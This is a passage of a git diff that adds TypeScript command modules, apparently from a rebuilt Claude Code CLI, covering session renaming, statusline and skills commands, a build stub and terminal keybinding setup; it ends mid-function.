+++ b/_all-in-one-upload/cc-haha/src/commands/rename/generateSessionName.ts
@@ -0,0 +1,67 @@
+import { queryHaiku } from '../../services/api/claude.js'
+import type { Message } from '../../types/message.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { errorMessage } from '../../utils/errors.js'
+import { safeParseJSON } from '../../utils/json.js'
+import { extractTextContent } from '../../utils/messages.js'
+import { extractConversationText } from '../../utils/sessionTitle.js'
+import { asSystemPrompt } from '../../utils/systemPromptType.js'
+
+export async function generateSessionName(
+  messages: Message[],
+  signal: AbortSignal,
+): Promise<string | null> {
+  const conversationText = extractConversationText(messages)
+  if (!conversationText) {
+    return null
+  }
+
+  try {
+    const result = await queryHaiku({
+      systemPrompt: asSystemPrompt([
+        'Generate a short kebab-case name (2-4 words) that captures the main topic of this conversation. Use lowercase words separated by hyphens. Examples: "fix-login-bug", "add-auth-feature", "refactor-api-client", "debug-test-failures". Return JSON with a "name" field.',
+      ]),
+      userPrompt: conversationText,
+      outputFormat: {
+        type: 'json_schema',
+        schema: {
+          type: 'object',
+          properties: {
+            name: { type: 'string' },
+          },
+          required: ['name'],
+          additionalProperties: false,
+        },
+      },
+      signal,
+      options: {
+        querySource: 'rename_generate_name',
+        agents: [],
+        isNonInteractiveSession: false,
+        hasAppendSystemPrompt: false,
+        mcpTools: [],
+      },
+    })
+
+    const content = extractTextContent(result.message.content)
+
+    const response = safeParseJSON(content)
+    if (
+      response &&
+      typeof response === 'object' &&
+      'name' in response &&
+      typeof (response as { name: unknown }).name === 'string'
+    ) {
+      return (response as { name: string }).name
+    }
+    return null
+  } catch (error) {
+    // Haiku timeout/rate-limit/network are expected operational failures —
+    // logForDebugging, not logError. Called automatically on every 3rd bridge
+    // message (initReplBridge.ts), so errors here would flood the error file.
+    logForDebugging(`generateSessionName failed: ${errorMessage(error)}`, {
+      level: 'error',
+    })
+    return null
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/commands/rename/rename.ts b/_all-in-one-upload/cc-haha/src/commands/rename/rename.ts
new file mode 100644
index 0000000..014d7eb
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/rename/rename.ts
@@ -0,0 +1,87 @@
+import type { UUID } from 'crypto'
+import { getSessionId } from '../../bootstrap/state.js'
+import {
+  getBridgeBaseUrlOverride,
+  getBridgeTokenOverride,
+} from '../../bridge/bridgeConfig.js'
+import type { ToolUseContext } from '../../Tool.js'
+import type {
+  LocalJSXCommandContext,
+  LocalJSXCommandOnDone,
+} from '../../types/command.js'
+import { getMessagesAfterCompactBoundary } from '../../utils/messages.js'
+import {
+  getTranscriptPath,
+  saveAgentName,
+  saveCustomTitle,
+} from '../../utils/sessionStorage.js'
+import { isTeammate } from '../../utils/teammate.js'
+import { generateSessionName } from './generateSessionName.js'
+
+export async function call(
+  onDone: LocalJSXCommandOnDone,
+  context: ToolUseContext & LocalJSXCommandContext,
+  args: string,
+): Promise<null> {
+  // Prevent teammates from renaming - their names are set by team leader
+  if (isTeammate()) {
+    onDone(
+      'Cannot rename: This session is a swarm teammate. Teammate names are set by the team leader.',
+      { display: 'system' },
+    )
+    return null
+  }
+
+  let newName: string
+  if (!args || args.trim() === '') {
+    const generated = await generateSessionName(
+      getMessagesAfterCompactBoundary(context.messages),
+      context.abortController.signal,
+    )
+    if (!generated) {
+      onDone(
+        'Could not generate a name: no conversation context yet. Usage: /rename <name>',
+        { display: 'system' },
+      )
+      return null
+    }
+    newName = generated
+  } else {
+    newName = args.trim()
+  }
+
+  const sessionId = getSessionId() as UUID
+  const fullPath = getTranscriptPath()
+
+  // Always save the custom title (session name)
+  await saveCustomTitle(sessionId, newName, fullPath)
+
+  // Sync title to bridge session on claude.ai/code (best-effort, non-blocking).
+  // v2 env-less bridge stores cse_* in replBridgeSessionId —
+  // updateBridgeSessionTitle retags internally for the compat endpoint.
+  const appState = context.getAppState()
+  const bridgeSessionId = appState.replBridgeSessionId
+  if (bridgeSessionId) {
+    const tokenOverride = getBridgeTokenOverride()
+    void import('../../bridge/createSession.js').then(
+      ({ updateBridgeSessionTitle }) =>
+        updateBridgeSessionTitle(bridgeSessionId, newName, {
+          baseUrl: getBridgeBaseUrlOverride(),
+          getAccessToken: tokenOverride ? () => tokenOverride : undefined,
+        }).catch(() => {}),
+    )
+  }
+
+  // Also persist as the session's agent name for prompt-bar display
+  await saveAgentName(sessionId, newName, fullPath)
+  context.setAppState(prev => ({
+    ...prev,
+    standaloneAgentContext: {
+      ...prev.standaloneAgentContext,
+      name: newName,
+    },
+  }))
+
+  onDone(`Session renamed to: ${newName}`, { display: 'system' })
+  return null
+}
diff --git a/_all-in-one-upload/cc-haha/src/commands/skills/skills.tsx b/_all-in-one-upload/cc-haha/src/commands/skills/skills.tsx
new file mode 100644
index 0000000..c9bf0e6
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/skills/skills.tsx
@@ -0,0 +1,8 @@
+import * as React from 'react';
+import type { LocalJSXCommandContext } from '../../commands.js';
+import { SkillsMenu } from '../../components/skills/SkillsMenu.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+export async function call(onDone: LocalJSXCommandOnDone, context: LocalJSXCommandContext): Promise<React.ReactNode> {
+  return <SkillsMenu onExit={onDone} commands={context.options.commands} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkxvY2FsSlNYQ29tbWFuZENvbnRleHQiLCJTa2lsbHNNZW51IiwiTG9jYWxKU1hDb21tYW5kT25Eb25lIiwiY2FsbCIsIm9uRG9uZSIsImNvbnRleHQiLCJQcm9taXNlIiwiUmVhY3ROb2RlIiwib3B0aW9ucyIsImNvbW1hbmRzIl0sInNvdXJjZXMiOlsic2tpbGxzLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB0eXBlIHsgTG9jYWxKU1hDb21tYW5kQ29udGV4dCB9IGZyb20gJy4uLy4uL2NvbW1hbmRzLmpzJ1xuaW1wb3J0IHsgU2tpbGxzTWVudSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvc2tpbGxzL1NraWxsc01lbnUuanMnXG5pbXBvcnQgdHlwZSB7IExvY2FsSlNYQ29tbWFuZE9uRG9uZSB9IGZyb20gJy4uLy4uL3R5cGVzL2NvbW1hbmQuanMnXG5cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiBjYWxsKFxuICBvbkRvbmU6IExvY2FsSlNYQ29tbWFuZE9uRG9uZSxcbiAgY29udGV4dDogTG9jYWxKU1hDb21tYW5kQ29udGV4dCxcbik6IFByb21pc2U8UmVhY3QuUmVhY3ROb2RlPiB7XG4gIHJldHVybiA8U2tpbGxzTWVudSBvbkV4aXQ9e29uRG9uZX0gY29tbWFuZHM9e2NvbnRleHQub3B0aW9ucy5jb21tYW5kc30gLz5cbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixjQUFjQyxzQkFBc0IsUUFBUSxtQkFBbUI7QUFDL0QsU0FBU0MsVUFBVSxRQUFRLHVDQUF1QztBQUNsRSxjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFFbkUsT0FBTyxlQUFlQyxJQUFJQSxDQUN4QkMsTUFBTSxFQUFFRixxQkFBcUIsRUFDN0JHLE9BQU8sRUFBRUwsc0JBQXNCLENBQ2hDLEVBQUVNLE9BQU8sQ0FBQ1AsS0FBSyxDQUFDUSxTQUFTLENBQUMsQ0FBQztFQUMxQixPQUFPLENBQUMsVUFBVSxDQUFDLE1BQU0sQ0FBQyxDQUFDSCxNQUFNLENBQUMsQ0FBQyxRQUFRLENBQUMsQ0FBQ0MsT0FBTyxDQUFDRyxPQUFPLENBQUNDLFFBQVEsQ0FBQyxHQUFHO0FBQzNFIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/statusline.tsx b/_all-in-one-upload/cc-haha/src/commands/statusline.tsx
new file mode 100644
index 0000000..02c7f0b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/statusline.tsx
@@ -0,0 +1,24 @@
+import type { ContentBlockParam } from '@anthropic-ai/sdk/resources/index.mjs';
+import type { Command } from '../commands.js';
+import { AGENT_TOOL_NAME } from '../tools/AgentTool/constants.js';
+const statusline = {
+  type: 'prompt',
+  description: "Set up Claude Code's status line UI",
+  contentLength: 0,
+  // Dynamic content
+  aliases: [],
+  name: 'statusline',
+  progressMessage: 'setting up statusLine',
+  allowedTools: [AGENT_TOOL_NAME, 'Read(~/**)', 'Edit(~/.claude/settings.json)'],
+  source: 'builtin',
+  disableNonInteractive: true,
+  async getPromptForCommand(args): Promise<ContentBlockParam[]> {
+    const prompt = args.trim() || 'Configure my statusLine from my shell PS1 configuration';
+    return [{
+      type: 'text',
+      text: `Create an ${AGENT_TOOL_NAME} with subagent_type "statusline-setup" and the prompt "${prompt}"`
+    }];
+  }
+} satisfies Command;
+export default statusline;
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJDb250ZW50QmxvY2tQYXJhbSIsIkNvbW1hbmQiLCJBR0VOVF9UT09MX05BTUUiLCJzdGF0dXNsaW5lIiwidHlwZSIsImRlc2NyaXB0aW9uIiwiY29udGVudExlbmd0aCIsImFsaWFzZXMiLCJuYW1lIiwicHJvZ3Jlc3NNZXNzYWdlIiwiYWxsb3dlZFRvb2xzIiwic291cmNlIiwiZGlzYWJsZU5vbkludGVyYWN0aXZlIiwiZ2V0UHJvbXB0Rm9yQ29tbWFuZCIsImFyZ3MiLCJQcm9taXNlIiwicHJvbXB0IiwidHJpbSIsInRleHQiXSwic291cmNlcyI6WyJzdGF0dXNsaW5lLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgdHlwZSB7IENvbnRlbnRCbG9ja1BhcmFtIH0gZnJvbSAnQGFudGhyb3BpYy1haS9zZGsvcmVzb3VyY2VzL2luZGV4Lm1qcydcbmltcG9ydCB0eXBlIHsgQ29tbWFuZCB9IGZyb20gJy4uL2NvbW1hbmRzLmpzJ1xuaW1wb3J0IHsgQUdFTlRfVE9PTF9OQU1FIH0gZnJvbSAnLi4vdG9vbHMvQWdlbnRUb29sL2NvbnN0YW50cy5qcydcblxuY29uc3Qgc3RhdHVzbGluZSA9IHtcbiAgdHlwZTogJ3Byb21wdCcsXG4gIGRlc2NyaXB0aW9uOiBcIlNldCB1cCBDbGF1ZGUgQ29kZSdzIHN0YXR1cyBsaW5lIFVJXCIsXG4gIGNvbnRlbnRMZW5ndGg6IDAsIC8vIER5bmFtaWMgY29udGVudFxuICBhbGlhc2VzOiBbXSxcbiAgbmFtZTogJ3N0YXR1c2xpbmUnLFxuICBwcm9ncmVzc01lc3NhZ2U6ICdzZXR0aW5nIHVwIHN0YXR1c0xpbmUnLFxuICBhbGxvd2VkVG9vbHM6IFtcbiAgICBBR0VOVF9UT09MX05BTUUsXG4gICAgJ1JlYWQofi8qKiknLFxuICAgICdFZGl0KH4vLmNsYXVkZS9zZXR0aW5ncy5qc29uKScsXG4gIF0sXG4gIHNvdXJjZTogJ2J1aWx0aW4nLFxuICBkaXNhYmxlTm9uSW50ZXJhY3RpdmU6IHRydWUsXG4gIGFzeW5jIGdldFByb21wdEZvckNvbW1hbmQoYXJncyk6IFByb21pc2U8Q29udGVudEJsb2NrUGFyYW1bXT4ge1xuICAgIGNvbnN0IHByb21wdCA9XG4gICAgICBhcmdzLnRyaW0oKSB8fCAnQ29uZmlndXJlIG15IHN0YXR1c0xpbmUgZnJvbSBteSBzaGVsbCBQUzEgY29uZmlndXJhdGlvbidcbiAgICByZXR1cm4gW1xuICAgICAge1xuICAgICAgICB0eXBlOiAndGV4dCcsXG4gICAgICAgIHRleHQ6IGBDcmVhdGUgYW4gJHtBR0VOVF9UT09MX05BTUV9IHdpdGggc3ViYWdlbnRfdHlwZSBcInN0YXR1c2xpbmUtc2V0dXBcIiBhbmQgdGhlIHByb21wdCBcIiR7cHJvbXB0fVwiYCxcbiAgICAgIH0sXG4gICAgXVxuICB9LFxufSBzYXRpc2ZpZXMgQ29tbWFuZFxuXG5leHBvcnQgZGVmYXVsdCBzdGF0dXNsaW5lXG4iXSwibWFwcGluZ3MiOiJBQUFBLGNBQWNBLGlCQUFpQixRQUFRLHVDQUF1QztBQUM5RSxjQUFjQyxPQUFPLFFBQVEsZ0JBQWdCO0FBQzdDLFNBQVNDLGVBQWUsUUFBUSxpQ0FBaUM7QUFFakUsTUFBTUMsVUFBVSxHQUFHO0VBQ2pCQyxJQUFJLEVBQUUsUUFBUTtFQUNkQyxXQUFXLEVBQUUscUNBQXFDO0VBQ2xEQyxhQUFhLEVBQUUsQ0FBQztFQUFFO0VBQ2xCQyxPQUFPLEVBQUUsRUFBRTtFQUNYQyxJQUFJLEVBQUUsWUFBWTtFQUNsQkMsZUFBZSxFQUFFLHVCQUF1QjtFQUN4Q0MsWUFBWSxFQUFFLENBQ1pSLGVBQWUsRUFDZixZQUFZLEVBQ1osK0JBQStCLENBQ2hDO0VBQ0RTLE1BQU0sRUFBRSxTQUFTO0VBQ2pCQyxxQkFBcUIsRUFBRSxJQUFJO0VBQzNCLE1BQU1DLG1CQUFtQkEsQ0FBQ0MsSUFBSSxDQUFDLEVBQUVDLE9BQU8sQ0FBQ2YsaUJBQWlCLEVBQUUsQ0FBQyxDQUFDO0lBQzVELE1BQU1nQixNQUFNLEdBQ1ZGLElBQUksQ0FBQ0csSUFBSSxDQUFDLENBQUMsSUFBSSx5REFBeUQ7SUFDMUUsT0FBTyxDQUNMO01BQ0ViLElBQUksRUFBRSxNQUFNO01BQ1pjLElBQUksRUFBRSxhQUFhaEIsZUFBZSwwREFBMERjLE1BQU07SUFDcEcsQ0FBQyxDQUNGO0VBQ0g7QUFDRixDQUFDLFdBQVdmLE9BQU87QUFFbkIsZUFBZUUsVUFBVSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/subscribe-pr.ts b/_all-in-one-upload/cc-haha/src/commands/subscribe-pr.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/subscribe-pr.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/commands/tasks/tasks.tsx b/_all-in-one-upload/cc-haha/src/commands/tasks/tasks.tsx
new file mode 100644
index 0000000..1215af7
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/tasks/tasks.tsx
@@ -0,0 +1,8 @@
+import * as React from 'react';
+import type { LocalJSXCommandContext } from '../../commands.js';
+import { BackgroundTasksDialog } from '../../components/tasks/BackgroundTasksDialog.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+export async function call(onDone: LocalJSXCommandOnDone, context: LocalJSXCommandContext): Promise<React.ReactNode> {
+  return <BackgroundTasksDialog toolUseContext={context} onDone={onDone} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkxvY2FsSlNYQ29tbWFuZENvbnRleHQiLCJCYWNrZ3JvdW5kVGFza3NEaWFsb2ciLCJMb2NhbEpTWENvbW1hbmRPbkRvbmUiLCJjYWxsIiwib25Eb25lIiwiY29udGV4dCIsIlByb21pc2UiLCJSZWFjdE5vZGUiXSwic291cmNlcyI6WyJ0YXNrcy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IExvY2FsSlNYQ29tbWFuZENvbnRleHQgfSBmcm9tICcuLi8uLi9jb21tYW5kcy5qcydcbmltcG9ydCB7IEJhY2tncm91bmRUYXNrc0RpYWxvZyB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvdGFza3MvQmFja2dyb3VuZFRhc2tzRGlhbG9nLmpzJ1xuaW1wb3J0IHR5cGUgeyBMb2NhbEpTWENvbW1hbmRPbkRvbmUgfSBmcm9tICcuLi8uLi90eXBlcy9jb21tYW5kLmpzJ1xuXG5leHBvcnQgYXN5bmMgZnVuY3Rpb24gY2FsbChcbiAgb25Eb25lOiBMb2NhbEpTWENvbW1hbmRPbkRvbmUsXG4gIGNvbnRleHQ6IExvY2FsSlNYQ29tbWFuZENvbnRleHQsXG4pOiBQcm9taXNlPFJlYWN0LlJlYWN0Tm9kZT4ge1xuICByZXR1cm4gPEJhY2tncm91bmRUYXNrc0RpYWxvZyB0b29sVXNlQ29udGV4dD17Y29udGV4dH0gb25Eb25lPXtvbkRvbmV9IC8+XG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsY0FBY0Msc0JBQXNCLFFBQVEsbUJBQW1CO0FBQy9ELFNBQVNDLHFCQUFxQixRQUFRLGlEQUFpRDtBQUN2RixjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFFbkUsT0FBTyxlQUFlQyxJQUFJQSxDQUN4QkMsTUFBTSxFQUFFRixxQkFBcUIsRUFDN0JHLE9BQU8sRUFBRUwsc0JBQXNCLENBQ2hDLEVBQUVNLE9BQU8sQ0FBQ1AsS0FBSyxDQUFDUSxTQUFTLENBQUMsQ0FBQztFQUMxQixPQUFPLENBQUMscUJBQXFCLENBQUMsY0FBYyxDQUFDLENBQUNGLE9BQU8sQ0FBQyxDQUFDLE1BQU0sQ0FBQyxDQUFDRCxNQUFNLENBQUMsR0FBRztBQUMzRSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/terminalSetup/terminalSetup.tsx b/_all-in-one-upload/cc-haha/src/commands/terminalSetup/terminalSetup.tsx
new file mode 100644
index 0000000..4e7ef5e
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/terminalSetup/terminalSetup.tsx
@@ -0,0 +1,531 @@
+import chalk from 'chalk';
+import { randomBytes } from 'crypto';
+import { copyFile, mkdir, readFile, writeFile } from 'fs/promises';
+import { homedir, platform } from 'os';
+import { dirname, join } from 'path';
+import type { ThemeName } from 'src/utils/theme.js';
+import { pathToFileURL } from 'url';
+import { supportsHyperlinks } from '../../ink/supports-hyperlinks.js';
+import { color } from '../../ink.js';
+import { maybeMarkProjectOnboardingComplete } from '../../projectOnboardingState.js';
+import type { ToolUseContext } from '../../Tool.js';
+import type { LocalJSXCommandContext, LocalJSXCommandOnDone } from '../../types/command.js';
+import { backupTerminalPreferences, checkAndRestoreTerminalBackup, getTerminalPlistPath, markTerminalSetupComplete } from '../../utils/appleTerminalBackup.js';
+import { setupShellCompletion } from '../../utils/completionCache.js';
+import { getGlobalConfig, saveGlobalConfig } from '../../utils/config.js';
+import { env } from '../../utils/env.js';
+import { isFsInaccessible } from '../../utils/errors.js';
+import { execFileNoThrow } from '../../utils/execFileNoThrow.js';
+import { addItemToJSONCArray, safeParseJSONC } from '../../utils/json.js';
+import { logError } from '../../utils/log.js';
+import { getPlatform } from '../../utils/platform.js';
+import { jsonParse, jsonStringify } from '../../utils/slowOperations.js';
+const EOL = '\n';
+
+// Terminals that natively support CSI u / Kitty keyboard protocol
+const NATIVE_CSIU_TERMINALS: Record<string, string> = {
+  ghostty: 'Ghostty',
+  kitty: 'Kitty',
+  'iTerm.app': 'iTerm2',
+  WezTerm: 'WezTerm',
+  WarpTerminal: 'Warp'
+};
+
+/**
+ * Detect if we're running in a VSCode Remote SSH session.
+ * In this case, keybindings need to be installed on the LOCAL machine,
+ * not the remote server where Claude is running.
+ */
+function isVSCodeRemoteSSH(): boolean {
+  const askpassMain = process.env.VSCODE_GIT_ASKPASS_MAIN ?? '';
+  const path = process.env.PATH ?? '';
+
+  // Check both env vars - VSCODE_GIT_ASKPASS_MAIN is more reliable when git extension
+  // is active, and PATH is a fallback. Omit path separator for Windows compatibility.
+  return askpassMain.includes('.vscode-server') || askpassMain.includes('.cursor-server') || askpassMain.includes('.windsurf-server') || path.includes('.vscode-server') || path.includes('.cursor-server') || path.includes('.windsurf-server');
+}
+export function getNativeCSIuTerminalDisplayName(): string | null {
+  if (!env.terminal || !(env.terminal in NATIVE_CSIU_TERMINALS)) {
+    return null;
+  }
+  return NATIVE_CSIU_TERMINALS[env.terminal] ?? null;
+}
+
+/**
+ * Format a file path as a clickable hyperlink.
+ *
+ * Paths containing spaces (e.g., "Application Support") are not clickable
+ * in most terminals - they get split at the space. OSC 8 hyperlinks solve
+ * this by embedding a file:// URL that the terminal can open on click,
+ * while displaying the clean path to the user.
+ *
+ * Unlike createHyperlink(), this doesn't apply any color styling so the
+ * path inherits the parent's styling (e.g., chalk.dim).
+ */
+function formatPathLink(filePath: string): string {
+  if (!supportsHyperlinks()) {
+    return filePath;
+  }
+  const fileUrl = pathToFileURL(filePath).href;
+  // OSC 8 hyperlink: \e]8;;URL\a TEXT \e]8;;\a
+  return `\x1b]8;;${fileUrl}\x07${filePath}\x1b]8;;\x07`;
+}
+export function shouldOfferTerminalSetup(): boolean {
+  // iTerm2, WezTerm, Ghostty, Kitty, and Warp natively support CSI u / Kitty
+  // keyboard protocol, which Claude Code already parses. No setup needed for
+  // these terminals.
+  return platform() === 'darwin' && env.terminal === 'Apple_Terminal' || env.terminal === 'vscode' || env.terminal === 'cursor' || env.terminal === 'windsurf' || env.terminal === 'alacritty' || env.terminal === 'zed';
+}
+export async function setupTerminal(theme: ThemeName): Promise<string> {
+  let result = '';
+  switch (env.terminal) {
+    case 'Apple_Terminal':
+      result = await enableOptionAsMetaForTerminal(theme);
+      break;
+    case 'vscode':
+      result = await installBindingsForVSCodeTerminal('VSCode', theme);
+      break;
+    case 'cursor':
+      result = await installBindingsForVSCodeTerminal('Cursor', theme);
+      break;
+    case 'windsurf':
+      result = await installBindingsForVSCodeTerminal('Windsurf', theme);
+      break;
+    case 'alacritty':
+      result = await installBindingsForAlacritty(theme);
+      break;
+    case 'zed':
+      result = await installBindingsForZed(theme);
+      break;
+    case null:
+      break;
+  }
+  saveGlobalConfig(current => {
+    if (['vscode', 'cursor', 'windsurf', 'alacritty', 'zed'].includes(env.terminal ?? '')) {
+      if (current.shiftEnterKeyBindingInstalled === true) return current;
+      return {
+        ...current,
+        shiftEnterKeyBindingInstalled: true
+      };
+    } else if (env.terminal === 'Apple_Terminal') {
+      if (current.optionAsMetaKeyInstalled === true) return current;
+      return {
+        ...current,
+        optionAsMetaKeyInstalled: true
+      };
+    }
+    return current;
+  });
+  maybeMarkProjectOnboardingComplete();
+
+  // Install shell completions (ant-only, since the completion command is ant-only)
+  if ("external" === 'ant') {
+    result += await setupShellCompletion(theme);
+  }
+  return result;
+}
+export function isShiftEnterKeyBindingInstalled(): boolean {
+  return getGlobalConfig().shiftEnterKeyBindingInstalled === true;
+}
+export function hasUsedBackslashReturn(): boolean {
+  return getGlobalConfig().hasUsedBackslashReturn === true;
+}
+export function markBackslashReturnUsed(): void {
+  const config = getGlobalConfig();
+  if (!config.hasUsedBackslashReturn) {
+    saveGlobalConfig(current => ({
+      ...current,
+      hasUsedBackslashReturn: true
+    }));
+  }
+}
+export async function call(onDone: LocalJSXCommandOnDone, context: ToolUseContext & LocalJSXCommandContext, _args: string): Promise<null> {
+  if (env.terminal && env.terminal in NATIVE_CSIU_TERMINALS) {
+    const message = `Shift+Enter is natively supported in ${NATIVE_CSIU_TERMINALS[env.terminal]}.
+
+No configuration needed. Just use Shift+Enter to add newlines.`;
+    onDone(message);
+    return null;
+  }
+
+  // Check if terminal is supported
+  if (!shouldOfferTerminalSetup()) {
+    const terminalName = env.terminal || 'your current terminal';
+    const currentPlatform = getPlatform();
+
+    // Build platform-specific terminal suggestions
+    let platformTerminals = '';
+    if (currentPlatform === 'macos') {
+      platformTerminals = '   • macOS: Apple Terminal\n';
+    } else if (currentPlatform === 'windows') {
+      platformTerminals = '   • Windows: Windows Terminal\n';
+    }
+    // For Linux and other platforms, we don't show native terminal options
+    // since they're not currently supported
+
+    const message = `Terminal setup cannot be run from ${terminalName}.
+
+This command configures a convenient Shift+Enter shortcut for multi-line prompts.
+${chalk.dim('Note: You can already use backslash (\\\\) + return to add newlines.')}
+
+To set up the shortcut (optional):
+1. Exit tmux/screen temporarily
+2. Run /terminal-setup directly in one of these terminals:
+${platformTerminals}   • IDE: VSCode, Cursor, Windsurf, Zed
+   • Other: Alacritty
+3. Return to tmux/screen - settings will persist
+
+${chalk.dim('Note: iTerm2, WezTerm, Ghostty, Kitty, and Warp support Shift+Enter natively.')}`;
+    onDone(message);
+    return null;
+  }
+  const result = await setupTerminal(context.options.theme);
+  onDone(result);
+  return null;
+}
+type VSCodeKeybinding = {
+  key: string;
+  command: string;
+  args: {
+    text: string;
+  };
+  when: string;
+};
+async function installBindingsForVSCodeTerminal(editor: 'VSCode' | 'Cursor' | 'Windsurf' = 'VSCode', theme: ThemeName): Promise<string> {
+  // Check if we're running in a VSCode Remote SSH session
+  // In this case, keybindings need to be installed on the LOCAL machine
+  if (isVSCodeRemoteSSH()) {
+    return `${color('warning', theme)(`Cannot install keybindings from a remote ${editor} session.`)}${EOL}${EOL}${editor} keybindings must be installed on your local machine, not the remote server.${EOL}${EOL}To install the Shift+Enter keybinding:${EOL}1. Open ${editor} on your local machine (not connected to remote)${EOL}2. Open the Command Palette (Cmd/Ctrl+Shift+P) → "Preferences: Open Keyboard Shortcuts (JSON)"${EOL}3. Add this keybinding (the file must be a JSON array):${EOL}${EOL}${chalk.dim(`[
+  {
+    "key": "shift+enter",
+    "command": "workbench.action.terminal.sendSequence",
+    "args": { "text": "\\u001b\\r" },
+    "when": "terminalFocus"
+  }
+]`)}${EOL}`;
+  }
+  const editorDir = editor === 'VSCode' ? 'Code' : editor;
+  const userDirPath = join(homedir(), platform() === 'win32' ? join('AppData', 'Roaming', editorDir, 'User') : platform() === 'darwin' ? join('Library', 'Application Support', editorDir, 'User') : join('.config', editorDir, 'User'));
+  const keybindingsPath = join(userDirPath, 'keybindings.json');
+  try {
+    // Ensure user directory exists (idempotent with recursive)
+    await mkdir(userDirPath, {
+      recursive: true
+    });
+
+    // Read existing keybindings file, or default to empty array if it doesn't exist
+    let content = '[]';
+    let keybindings: VSCodeKeybinding[] = [];
+    let fileExists = false;
+    try {
+      content = await readFile(keybindingsPath, {
+        encoding: 'utf-8'
+      });
+      fileExists = true;
+      keybindings = safeParseJSONC(content) as VSCodeKeybinding[] ?? [];
+    } catch (e: unknown) {
+      if (!isFsInaccessible(e)) throw e;
+    }
+
+    // Backup the existing file before modifying it
+    if (fileExists) {
+      const randomSha = randomBytes(4).toString('hex');
+      const backupPath = `${keybindingsPath}.${randomSha}.bak`;
+      try {
+        await copyFile(keybindingsPath, backupPath);
+      } catch {
+        return `${color('warning', theme)(`Error backing up existing ${editor} terminal keybindings. Bailing out.`)}${EOL}${chalk.dim(`See ${formatPathLink(keybindingsPath)}`)}${EOL}${chalk.dim(`Backup path: ${formatPathLink(backupPath)}`)}${EOL}`;
+      }
+    }
+
+    // Check if keybinding already exists
+    const existingBinding = keybindings.find(binding => binding.key === 'shift+enter' && binding.command === 'workbench.action.terminal.sendSequence' && binding.when === 'terminalFocus');
+    if (existingBinding) {
+      return `${color('warning', theme)(`Found existing ${editor} terminal Shift+Enter key binding. Remove it to continue.`)}${EOL}${chalk.dim(`See ${formatPathLink(keybindingsPath)}`)}${EOL}`;
+    }
+
+    // Create the new keybinding
+    const newKeybinding: VSCodeKeybinding = {
+      key: 'shift+enter',
+      command: 'workbench.action.terminal.sendSequence',
+      args: {
+        text: '\u001b\r'
+      },
+      when: 'terminalFocus'
+    };
+
+    // Modify the content by adding the new keybinding while preserving comments and formatting
+    const updatedContent = addItemToJSONCArray(content, newKeybinding);
+
+    // Write the updated content back to the file
+    await writeFile(keybindingsPath, updatedContent, {
+      encoding: 'utf-8'
+    });
+    return `${color('success', theme)(`Installed ${editor} terminal Shift+Enter key binding`)}${EOL}${chalk.dim(`See ${formatPathLink(keybindingsPath)}`)}${EOL}`;
+  } catch (error) {
+    logError(error);
+    throw new Error(`Failed to install ${editor} terminal Shift+Enter key binding`);
+  }
+}
+async function enableOptionAsMetaForProfile(profileName: string): Promise<boolean> {
+  // First try to add the property (in case it doesn't exist)
